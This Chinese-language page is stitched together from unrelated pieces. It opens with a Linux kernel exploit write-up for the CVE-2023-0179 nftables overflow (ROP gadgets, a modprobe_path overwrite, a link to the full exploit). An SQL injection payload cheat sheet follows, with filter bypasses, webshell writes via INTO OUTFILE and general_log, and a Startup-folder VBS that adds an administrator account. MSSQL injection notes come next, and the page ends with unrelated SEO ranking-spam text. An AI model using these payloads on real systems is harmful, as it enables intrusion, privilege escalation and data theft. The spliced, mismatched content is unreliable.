言

在CVE-2023-0179-Nftables整型溢出中，分析了漏洞的成因，接下來分析漏洞的利用。

漏洞利用

根據漏洞成因可以知道，payload_eval_copy_vlan函數存在整型溢出，導致我們將vlan頭部結構拷貝到寄存器（NFT_REG32_00-NFT_REG32_15），而該變量時存在與棧上的，因此可以覆蓋棧上的其余變量的。

可以發現regs變量是無法覆蓋到返回地址。

因此我們需要觀察源碼，jumpstack變量是在regs變量下方

我們可以通過溢出regs變量覆蓋到jumpstack變量。

那么接下來需要觀察一下nft_jumpstack結構體中存在哪些變量

struct nft_jumpstack {
    const struct nft_chain *chain;
    const struct nft_rule_dp *rule;
    const struct nft_rule_dp *last_rule;
};

• ? chain：用于指定在哪個流程進行hook
• ? rule：以什么樣的規則處理數據包
• ? last_rule：規則可能不止一條，因此last_rule用于指向最后一條規則

nft_jumpstack結構體在nft_do_chain函數的作用如下，當狀態寄存器被設置為JUMP條件時，意味著需要跳轉到其他chain進行處理，因此需要先保存當前chain的狀態，這里與函數調用時保存棧時的處理一樣，估計因此才命名為jumpstack。并且使用一個全局變量stackptr用于確定保存的chain的先后順序。在保存完之后，就跳轉到目的chain，目的chain則是存儲在regs.verdict.chain中。

    ...
    switch (regs.verdict.code) {
    case NFT_JUMP:
        if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
            return NF_DROP;
        jumpstack[stackptr].chain = chain;
        jumpstack[stackptr].rule = nft_rule_next(rule);
        jumpstack[stackptr].last_rule = last_rule;
        stackptr++;
     case NFT_GOTO:
        chain = regs.verdict.chain;
        goto do_chain;
    ...

還原chain的過程如下，通過遞減stackptr來取出存儲在jumpstack變量中存儲的chain、rule、lastrule，然后就會跳轉到next_rule對還原的rule，進行rule的解析，這里需要注意的是在遍歷rule的時候，循環是通過rule < last_rule進行遍歷的，因此我們在后續偽造last_rule的時候需要大于rule，否則是無法進入循環內部的。

    next_rule:
        regs.verdict.code = NFT_CONTINUE;
        for (; rule < last_rule; rule = nft_rule_next(rule)) {
            nft_rule_dp_for_each_expr(expr, last, rule) {
                if (expr->ops == &nft_cmp_fast_ops)
                    nft_cmp_fast_eval(expr, ?s);
                else if (expr->ops == &nft_cmp16_fast_ops)
                    nft_cmp16_fast_eval(expr, ?s);
                else if (expr->ops == &nft_bitwise_fast_ops)
                    nft_bitwise_fast_eval(expr, ?s);
                else if (expr->ops != &nft_payload_fast_ops ||
                     !nft_payload_fast_eval(expr, ?s, pkt))
                    expr_call_ops_eval(expr, ?s, pkt);

                if (regs.verdict.code != NFT_CONTINUE)
                    break;
            }
    ...
    if (stackptr > 0) {
            stackptr--;
            chain = jumpstack[stackptr].chain;
            rule = jumpstack[stackptr].rule;
            last_rule = jumpstack[stackptr].last_rule;
            goto next_rule;
        }
    ...

緊接著來看一下nft_rule_dp結構體，可以發現第一個八個字節是一些標志位組成的，而后續的八個字節則是用于存儲nft_expr結構體的指針。

struct nft_rule_dp {
    u64    is_last:1,
                    dlen:12,
                    handle:42; /* for tracing */
    unsigned char   data[]
        __attribute__((aligned(__alignof__(struct nft_expr))));
};

然后可以看到nft_expr結構體里存儲了函數指針，如果我們能夠篡改該函數指針就可以劫持程序流程。

struct nft_expr {
    const struct nft_expr_ops *ops;
    unsigned char   data[]
        __attribute__((aligned(__alignof__(u64))));
};

然后在這篇文章https://www.ctfiot.com/100156.html學習到了一個小技巧。使用`ptype /o struct xxx`就可以看到具體的結構體信息與偏移。

因此構造的流程如下，首先我們通過漏洞溢出到nft_jumpstack結構體，并且修改rule變量為可控內容的地址同時需要將lastrule的值篡改為比rule更大的值，原因上述已經說過。緊接著在可控內容中偽造一個nft_rule_dp結構體，第一個八字節是填充位，而第二個八字節是需要偽造的函數表指針，同樣的我們也將該指針篡改為可控內容的地址，然后再該地址處偽造nft_expr，并且將ops變量指向我們想要執行的函數即可。

通過上述分析已經知道了該如何通過漏洞完成程序流程的劫持，接下來需要分析如果偽造上述幾個結構體。

首先在nft_payload_copy_vlan函數中，漏洞點是將vlan頭的數據拷貝到指定的寄存器里面，而vlan頭的地址是低于寄存器的地址，這就會導致在拷貝完vlan頭后會將寄存器中的值也進行拷貝的操作，而寄存器的值我們是能人為控制的，因此就可以完成偽造的操作。

可以看到我們對NFT_REG32_00的賦值會覆蓋到jumpstack[7].rule的值，完成了對jumpstack結構體的篡改，這里我們可以通過NFT_REG32_00 - NFT_REG32_15進行賦值，緊接著查看jumpstack哪個值是被賦值。就可以知道哪個jumpstack可以被篡改。

由于我們可以控制regs變量的值，我們可以首先泄露regs的地址，然后在regs上偽造rule即可。然后expr重新指向為jumpstack即可，這里采用了一個小技巧就是將last_rule設置為一個函數地址，由于函數地址的值是大于regs變量的地址值的，因此我們可以節約八個字節。

但是這里有個問題就是我們只能控制八個字節的函數指針，因此是無法構造一個完整的ROP鏈的，而內核并不存在像用戶態下有one_gadget可以只利用八個字節就能完成利用，因此在這里必須使用棧遷移，遷移的目的是一段可以控制的內存，那么這里選用的目的自然就是regs了。那么該如何找棧遷移的gadget呢？，這里我首先采用的使用利用vmlinux-to-elf將bzImage的符號表提取出來，然后尋找對應的gadget，gadget類型如下

• ? mov rsp,xxx
• ? push xxx;pop rsp
• ? add rsp,xxx
• ? xchg rsp,xxx

上述指令都可以修改rsp寄存器，完成棧遷移的效果。

首先通過vmlinux-to-elf ./bzImage ./vmlinux去提取出符號表

然后通過ropper進行gadget的提取，ropper --file ./vmlinux --nocolor > g

最后這在搜索gadget，cat g | grep 'add rsp.*ret'，但是通過嘗試發現下述的地址都沒辦法使用，因為下述地址都不具備可執行的權限。

然后嘗試了搜索上述所有的gadget，我都沒有找到可以用的gadget，唯一比較接近的gadget是pop rsi的，但是無法控制rsi的寄存器，其實這里一開始我使用的鏡像是自己編譯的，這里搜索的gadget是需要控制rdi寄存器的，經過多次嘗試無果后才使用了作者的config文件重新編譯發現還是不可行。

其實我們在編譯內核文件時是存在vmlinux文件的，但是那個文件十分的大，使用ropper工具無法分析，就在我準備放棄的時候，想到使用objdump工具進行gadget的提取

使用objdump -d -M intel vmlinux > ./gadget.txt

• ? -d是dump代碼
• ? -M是指定匯編代碼的格式

objdump提取的速度非常快，提取代碼如下，但是它沒有ropper搜索gadget那么方便，但是會全的多

這里我首先嘗試了搜索棧遷移的gadget，cat gadget.txt | grep -E 'add rsp.*'

可以發現有非常多的匹配的gadget，接著我們在gdb中驗證可以使用的gadget，通常在棧進行還原的時候會用到add rsp,xxx，因此都是有效的gadget，然后就是計算棧頂與resg函數地址的差值找到相應的棧遷移gadget即可。

接下就是考慮如何進行提權的利用了，雖然我們可以控制regs但是可控的范圍也只有0x40是不足于采用commit_creds(prepare_kernel_cred(0))設置root憑證然后返回到用戶空間執行后門的。那么相當的一個辦法就是通過覆蓋modprobe_path進行提權。這里我找了下列gadget進行modprobe_path的覆蓋，將rdi設置為modprobe_path，rax設置為覆蓋后的路徑即可。

        0xffffffff810d1e6b: mov qword ptr [rdi], rax; ret; 
        0xffffffff81004165: pop rdi; pop rbp; ret

最后就是覆蓋完modprobe_path該如何返回到用戶態，因為modprobe_path的提權需要在用戶態下執行非法文件頭的文件，這里作者采用的是將棧還原，通過在rbp中的地址值覆蓋會rsp中即可，采用下述gadget

        0xffffffff810b47f0: mov rsp, rbp; pop rbp; ret;

但是在我的環境下直接返回不行，這是因為在返回到 nf_hook_slow函數時，有對狀態碼的一個檢驗，而在上述覆蓋modprobe_path時，我們設置了rax值，就導致無法將狀態碼設置成合法值。那分支就會跳轉到default，導致報錯。在嘗試搜索了gadget之后，可以將rax設置為0，但是這回進入到NF_DROP分支 中，但是此時skb變量也被我們破壞了，無法正常執行。

int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
         const struct nf_hook_entries *e, unsigned int s)
{
    unsigned int verdict;
    int ret;

    for (; s < e->num_hook_entries; s++) {
        verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
        switch (verdict & NF_VERDICT_MASK) {
        case NF_ACCEPT:
            break;
        case NF_DROP:
            kfree_skb_reason(skb,
                     SKB_DROP_REASON_NETFILTER_DROP);
            ret = NF_DROP_GETERR(verdict);
            if (ret == 0)
                ret = -EPERM;
            return ret;
        case NF_QUEUE:
            ret = nf_queue(skb, state, s, verdict);
            if (ret == 1)
                continue;
            return ret;
        default:
            /* Implicit handling for NF_STOLEN, as well as any other
             * non conventional verdicts.
             */
            return 0;
        }
    }

    return 1;
}

在嘗試很久之后，最終放棄正常返回的這個選項，然后我在rbp中搜索是否有合適的返回地址。最后在rbp中我找到了一個do_softirq函數

該函數是一個軟中斷處理的函數，當時我就猜想，如果這個函數返回了，應該不會影響程序的執行。

嘗試運行之后，發現還是有內核異常，頓時有點失望。

但是在操控命令行的時候是能夠正常輸入命令的，說明我們成功返回到用戶態了。

最后就是查看是否將新用戶寫入到/etc/passwd中了，最終完成寫入。完結撒花。

完整exp可以參考https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179(nftables)/poc.c

礎注入

聯合查詢

?若前面的查詢結果不為空，則返回兩次查詢的值：

?若前面的查詢結果為空，則只返回union查詢的值：

?關鍵字union select

?需要字段數對應

常用Payload：

# 查詢表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查詢字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23

報錯注入

報錯注入是利用mysql在出錯的時候會引出查詢信息的特征，常用的報錯手段有如下10種：

# 修改select user() 字段 獲取不同的信息

# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

# 5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

布爾盲注

常見的布爾盲注場景有兩種，一是返回值只有True或False的類型，二是Order by盲注。

返回值只有True或False的類型

如果查詢結果不為空，則返回True（或者是Success之類的），否則返回False

這種注入比較簡單，可以挨個猜測表名、字段名和字段值的字符，通過返回結果判斷猜測是否正確

例：parameter=’ or ascii(substr((select database()) ,1,1))<115—+

Orderby盲注

order by rand(True)和order by rand(False)的結果排序是不同的，可以根據這個不同來進行盲注：

例：order by rand(database()='pdotest')

返回了True的排序，說明database()=’pdotest’是正確的值

時間盲注

其實大多數頁面，即使存在sql注入也基本是不會有回顯的，因此這時候就要用延時來判斷查詢的結果是否正確。

常見的時間盲注有：

1.sleep(x)

id=' or sleep(3)%23

id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23

查詢結果正確，則延遲3秒，錯誤則無延時。

2.benchmark()

通過大量運算來模擬延時：

id=' or benchmark(10000000,sha(1))%23

id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23

本地測試這個值大約可延時3秒：

3.笛卡爾積

計算笛卡爾積也是通過大量運算模擬延時：

select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

笛卡爾積延時大約也是3秒

HTTP頭注入

注入手法和上述相差不多，就是注入點發生了變化

HTTP分割注入

常見場景,登錄處SQL語句如下，注釋符號被過濾

select xxx from xxx where username=’xxx’ and password=’xxx’

# 方法一
username=1' or extractvalue/*
password=1*/(1,concat(0x7e,(select database()),0x7e))or'

SQL語句最終變為
select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or''

# 方法二
username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1
password=1
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'

二次注入

二次注入主要出現在update和select結合點，如注冊之后在登錄

攻擊者構造的惡意payload首先會被服務器存儲在數據庫中，在之后取出數據庫在進行SQL語句拼接時產生的SQL注入問題

SQL約束攻擊

假如注冊時username參數在mysql中為字符串類型，并且有unique屬性，設置了長度為VARCHAR(20)。

則我們注冊一個username為admin[20個空格]asd的用戶名，則在mysql中首先會判斷是否有重復，若無重復，則會截取前20個字符加入到數據庫中，所以數據庫存儲的數據為admin[20個空格]，而進行登錄的時候，SQL語句會忽略空格，因此我們相當于覆寫了admin賬號。

基礎繞過

大小寫繞過

用于過濾時沒有匹配大小寫的情況：

SelECt * from table;

雙寫繞過

用于將禁止的字符直接刪掉的過濾情況如：

preg_replace(‘/select/‘,’’,input)

則可用seselectlect from xxx來繞過，在刪除一個select后剩下的就是select from xxx

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繞過空格

當空格被過濾時，可以使用/**/ () %0a %09進行繞過

使用16進制繞過特定字符

如果在查詢字段名的時候表名被過濾，或是數據庫中某些特定字符被過濾，則可用16進制繞過：

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273為users的16進制

只能針對表名，字段名等，內置函數關鍵字，不能使用16進制替代

寬字節、Latin1默認編碼

寬字節注入

用于單引號被轉義，但編碼為gbk編碼的情況下，用特殊字符將其與反斜杠合并，構成一個特殊字符：

username = %df'#
經gbk解碼后變為：
select * from users where username ='運'#

成功閉合了單引號。

Latin1編碼

Mysql表的編碼默認為latin1，如果設置字符集為utf8，則存在一些latin1中有而utf8中沒有的字符，而Mysql是如何處理這些字符的呢？直接忽略

于是我們可以輸入?username=admin%c2，存儲至表中就變為了admin

上面的%c2可以換為%c2-%ef之間的任意字符

常見字符的替代

and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注：regexp為正則匹配，利用正則會有些新的注入手段

逗號被過濾

# 用join代替：
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

# limit：
limit 2,1
limit 1 offset 2

# substr:
substr(database(),5,1)
substr(database() from 5 for 1) from為從第幾個字符開始，for為截取幾個
substr(database() from 5)
# 如果for也被過濾了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反轉，mid和substr等同

# if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end

limit被過濾

select user from users limit 1

加限制條件，如：

select user from users group by user_id having user_id = 1 (user_id是表中的一個column)

information_schema被過濾

innodb引擎可用mysql.innodb_table_stats、innodb_index_stats，日志將會把表、鍵的信息記錄到這兩個表中

除此之外，系統表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于記錄查詢的緩存，某些情況下可代替information_schema

文件讀寫

讀寫權限

在進行MySQL文件讀寫操作之前要先查看是否擁有權限，mysql文件權限存放于mysql表的file_priv字段，對應不同的User，如果可以讀寫，則數據庫記錄為Y，反之為N：

我們可以通過user()查看當前用戶是什么，如果對應用戶具有讀寫權限，則往下看，反之則放棄這條路找其他的方法。

除了要查看用戶權限，還有一個地方要查看，即secure-file-priv。它是一個系統變量，用于限制讀寫功能，它的值有三種：

（1）無內容，即無限制

（2）為NULL，表示禁止文件讀寫

（3）為目錄名，表示僅能在此目錄下讀寫

該配置項存放在my.ini中，修改之后必須重啟mysql重新加載配置文件

讀文件

如果滿足上述2個條件，則可嘗試讀寫文件了。

常用的讀文件的語句有如下幾種：

select load_file(file_path);
load data infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取服務端文件
load data local infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取客戶端文件

需要注意的是，file_path必須為絕對路徑，且反斜杠需要轉義：

寫文件

select 1,"" into outfile '/var/www/html/1.php';
select 2,"" into dumpfile '/var/www/html/1.php';

當secure_file_priv值為NULL時，可用生成日志的方法繞過：

set global general_log_file = '/var/www/html/1.php';
set global general_log = on;

日志除了general_log還有其他許多日志，實際場景中需要有足夠的寫入日志的權限，且需要堆疊注入的條件方可采用該方法，因此利用非常困難。

DNS外帶注入

若用戶訪問DNS服務器，則會在DNS日志中留下記錄。如果請求中帶有SQL查詢的信息，則信息可被帶出到DNS記錄中。

利用條件：

1.secure_file_priv為空且有文件讀取權限

2.目標為windows（利用了UNC，Linux不可行）

3.無回顯且無法時間盲注

利用方法：

可以找一個免費的DNSlog：http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF

找到一個非常nice的入門課程，復制鏈接即可報名：

https://mp.weixin.qq.com/s/1gI0LnWdYbyArC8v58Yikw

方法二：ntunnel_mysql.php

Navicat內置的php-mysq鏈接文件，上傳到目標網站

對navicat進行如下配置即可：

方法三：蟻劍內置插件

啟動項提權

windows開機時候都會有一些開機啟動的程序，那時候啟動的程序權限都是system，因為是system把他們啟動的，利用這點，我們可以將自動化腳本寫入啟動項，達到提權的目的。當 Windows 的啟動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導入到啟動項中，這個腳本會在用戶登錄、開機、關機的時候自動運行。

在windows2003的系統下，啟動項路徑如下：
C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動

在windows2008的系統下，啟動項路徑如下：
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限，查看服務器上系統盤的可讀可寫目錄，若是啟動目錄 C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可讀可寫的，我們就可以執行上傳一個vbs或者bat的腳本進行提權。

這里使用test.vbs添加用戶密碼，上傳到啟動目錄重啟的時候即可自動添加賬號密碼

set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

通過mysql的話：

use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;

重啟之后可以提權

CVE-2016-6663和CVE-2016-6664

https://lengjibo.github.io/mysqludf/

MSSQL

MSSQL基礎

系統自帶庫

MSSQL安裝后默認帶了六個數據庫

?4個系統庫：master、model、tempdb和msdb；

?2個示例庫：NorthwindTraders和pubs

系統視圖表

MSSQL數據庫有安裝的自帶數據表：

MSSQL權限控制

?服務器角色

可以通過如下語句判斷：

select is_srvrolemember('sysadmin')

?數據庫角色

可以通過如下語句判斷：

select is_member('db_owner')

MSSQL常用語句

# 創建數據庫
create database [dbname];
create database test;

# 刪除數據庫
drop database [dbname];
drop database test;

# 創建新表
create table table_name (name char(10),age tinyint,sex int);
# 創建新表前要選擇數據庫，默認是master庫
use test;
create table admin (users char(255),passwd char(255),sex int);

# 刪除新表
drop table table_name;
drop table dbo.admin;

# 向表中插入數據
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);

# 刪除內容
delete from table_name where column1=value1;
delete from admin where sex=2;

# 更新內容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;

# 查找內容
select * from table_name where column1=value1;
select passwd from admin where users='admin';

?排序&獲取下一條數據

–MSSQL數據庫中沒有limit排序獲取字段，但是可以使用top 1來顯示數據中的第一條數據，

–使用 <> 來排除已經顯示的數據，獲取下一條數據，也就是不等于的意思。

–使用not in來排除已經顯示的數據，獲取下一條數據 ，后面可以跟一個集合。

# 使用<>獲取數據
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in獲取數據
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+

MSSSQL注釋

單行：--空格
多行：/**/

常用函數

鹿資源網怎么快速提權-當然是快排： 快排就是利用一些方法讓關鍵詞快速排名到搜索結果前面，目前普遍的網站快排方法有軟件快排；發包快排；外鏈快排。快排有利有弊，我們還是要堅持走正確的路子。 1、通過軟件點擊器實現的快排 鹿鹿資源網提權是通過排名點擊器的軟件來操作網站排名的方法，是目前市面上常見的手法，成本也是低的。 利用點擊器，你可以設置自己網站搜索什么詞，然后被點擊多少次。假以時日網站在這個詞的排名就上去了，有效率在 30%，你操作 100 個詞，至少會有 30 個詞達到預期。但分享系數是較大的。 因為是機器操作，點擊的規則設置也比較簡單，哪怕這個軟件給你提供了更加靈活的點擊規則，但對于技術那么強大的百度而言，識別出你的概率至少在 85%，甚至以上。如果當下沒被識別出來，那么也只是一時的。 2、通過發包技術實現的快排 鹿鹿資源網這里先講一下什么是發包的原理。 你的網站存儲在服務器中，而網站是通過瀏覽器打開的。那你在瀏覽器上的操作，怎么才能顯示出網站的網頁來呢？這就又有了網站的程序。 你通過瀏覽器訪問一個網址，這個網址先對應到的是一個服務器。然后服務器接收到這個網址后，服務器內的程序會知道這個網址代表的是什么程序，然后執行程序，并把執行后的結果輸出給瀏覽器，并呈現給你。 這中間瀏覽器會發送請求數據給服務器，服務器接收到請求數據后利用程序開始處理，然后把處理完成的數據回傳給瀏覽器，瀏覽器進行網頁的渲染呈現。 這中間的請求數據和回傳數據，被稱之為包。快速排名公司利用瀏覽器的請求數據，發送你一個請求數據包，然后瀏覽器再回傳一個處理完的結果包。 當然請求包里就包含了模擬用戶真實點擊行為的所有行為記錄。以這樣的手段來欺騙搜索引擎，告訴搜索引擎我是一個真實的訪客，以此同樣利用點擊日志的用戶體驗系列的算法進行排名的干預，從而快速提升排名。 3、利用大量外鏈進行的快排技術 鏈接傳遞權重，這句話已經被 SEO 的從業者說爛了。那假設我有 3000 個網站，分為教育類、旅游類、搬家服務類三種各 1000 各站點。你做了一個新企業站，是搬家公司的。你想快速提升排名，找到我了。我給你來 100 個搬家公司的單向鏈接。你的排名在一周內就能上首頁，如果網站內沒其他問題，1 個月內至少前三名。 這就是鹿鹿資源網提權快排的全部教程了 往大家多多吸取正能量知識 耐心做站本文來自：鹿鹿資源網，原地址：https://www.luluzyw.com/post/400.html